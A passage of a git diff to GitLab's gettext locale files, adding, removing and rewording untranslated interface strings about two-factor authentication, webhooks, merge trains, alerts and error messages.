-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25933,7 +26645,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26104,9 +26819,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,7 +26834,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26197,7 +26909,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,10 +28328,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27574,9 +28394,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,13 +28427,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27700,10 +28517,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28700,6 +29520,11 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr ""
@@ -28745,9 +29570,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28789,6 +29611,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28938,9 +29763,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29025,9 +29859,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29148,19 +29973,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29536,6 +30361,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29617,6 +30448,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/sr_CS/gitlab.po b/locale/sr_CS/gitlab.po
index b0e171b4950..f630cca8ec0 100644
--- a/locale/sr_CS/gitlab.po
+++ b/locale/sr_CS/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: sr-CS\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:42\n"
+"PO-Revision-Date: 2020-09-04 23:05\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -58,13 +58,13 @@ msgstr[2] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -73,6 +73,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -343,6 +346,9 @@ msgstr[2] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -379,6 +385,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -439,6 +448,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -466,7 +478,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -553,9 +565,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -574,6 +583,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -583,6 +595,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -700,6 +724,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -727,6 +754,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -742,6 +772,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -820,6 +853,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -853,6 +889,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -862,7 +901,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -907,6 +961,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1123,15 +1180,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1195,7 +1243,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1213,6 +1261,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1315,6 +1366,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1426,6 +1480,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1459,12 +1516,6 @@ msgstr[2] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1579,6 +1630,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1591,6 +1645,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1603,6 +1660,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1882,6 +1942,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1897,6 +1960,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2125,6 +2191,9 @@ msgstr[2] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2155,7 +2224,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2212,9 +2281,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2227,6 +2293,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2269,16 +2338,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2308,7 +2374,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2407,6 +2473,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2554,6 +2623,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2620,6 +2692,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2692,9 +2767,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2836,13 +2920,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving LDAP override status. Please try again."
+msgstr ""
+
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2869,12 +2956,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2953,6 +3046,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3172,6 +3268,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3184,6 +3283,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3199,9 +3301,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3310,7 +3409,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3322,9 +3421,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3337,6 +3433,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3598,7 +3697,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
